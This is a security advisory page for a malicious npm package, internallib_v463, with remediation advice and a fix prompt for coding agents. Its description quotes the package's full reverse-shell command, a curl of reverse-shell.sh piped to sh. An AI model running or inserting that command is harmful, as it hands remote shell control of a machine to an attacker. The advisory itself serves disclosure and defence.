# MAL-2026-16481: Malicious code in internallib_v463 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v463` (npm)
- **Published:** 23 Sep 2026

## What is MAL-2026-16481?

MAL-2026-16481 is a malicious package in internallib_v463, published on 23 Sep 2026. 

### Official description

index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

## What should I do about MAL-2026-16481?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16481 is a malicious package: internallib_v463 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16481/ (Markdown: https://insights.sbomify.com/MAL-2026-16481/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16481

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-16481/
Summaries are generated and may contain mistakes; the official description above is the record.